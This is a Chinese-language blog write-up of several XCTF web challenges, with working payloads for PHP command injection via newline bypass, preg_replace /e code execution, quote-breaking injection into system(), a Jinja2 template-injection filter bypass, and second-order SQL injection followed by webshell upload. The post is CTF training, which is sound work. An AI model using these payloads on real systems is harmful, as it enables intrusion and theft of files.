前言
明天打虎符了,好久没打攻防世界的题了,回来练练手,顺便记录下一些有意思的没做过的题。
favorite_number
查看代码:
1 | <?php |
看上去很简单,第一个地方的绕过利用php5的数组溢出漏洞绕过。接着第二个地方,num使用%0a绕过匹配,但是我们发现flag被过滤了,而且通配符也基本全军覆没。这里用到的是inode索引节点法。
payload:
1 | stuff[4294967296]=admin&stuff[1]=user&num=123%0Als -i / |
查询到flag的节点为1704622,获取文件:
1 | stuff[4294967296]=admin&stuff[1]=user&num=123%0Atac `find / -inum 1704622` |
isc-05
工控题,先在首页乱点一遍,发现就一个地方能进,进去后查看源代码,发现?page
,猜测存在任意文件读取:
1 | ?page=php://filter/convert.base64-encode/resource=index.php |
读取到源码,这里放重要部分:
1 | //方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试 |
乍一看这里完全没有rce的点,其实这里要利用到preg_replace()
在/e
模式下会将替换后的语句作为php语句执行,因此我们构建payload:
1 | ?pat=/a/e&rep=system('cat /flag')&sub=a |
mfw
进网页随便点点发现?page=
,尝试伪加密居然没用,然后翻审查元素发现让我们输入flag,但是输入后是空的。这里信息搜集发现git泄露,获取到index.php,审计代码:
1 | <?php |
这里我们直接闭合语句,然后根据代码中flag.php的位置插入rce,最后接注释就可以了:
1 | ?page=mrl64') or system('cat templates/flag.php');// |
Confusion1
审查元素发现提示/container
,进入后发现:
1 | <!--Flag @ /opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt--> |
但尝试直接访问Flag文件与Salt文件都失败了,后来试了半天发现在/register.php
发现了python的ssti,麻了这就是蛇吞象的含义吗。
尝试发现class的字符被过滤,但是request还在,因此用request解决就可以了,最终payload:
1 | register.php/{{''[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.d]()}}?a=__class__&b=__mro__&c=__subclasses__&d=read |
filemanager
信息搜集发现/www.tar.gz
泄露,审查一堆代码,发现完全没有注入空间,各种转义白名单,但其中该文件名的代码中存在这样一条语句:
1 | $re = $db->query("update `file` set `filename`='{$req['newname']}', `oldname`='{$result['filename']}' where `fid`={$result['fid']}"); |
这语句多像二次注入啊。我们审查文件是注意到extension
是白名单,因此我们首先要置空白名单。我们首先上传一个空文件,命名为',extension='.png
,接着更改文件名为shell.png
。我们发现现在这个文件名字变成了shell.png.png
,且sql语句现在如下:
1 | update `file` set `filename`='upload.png', `oldname`='',extension='' where `fid`={$result['fid']}" |
这里就相当于白名单置空了。接着我们上传带有一句马的shell.png文件,然后把shell.png改名为shell.php,蚁剑链接即可。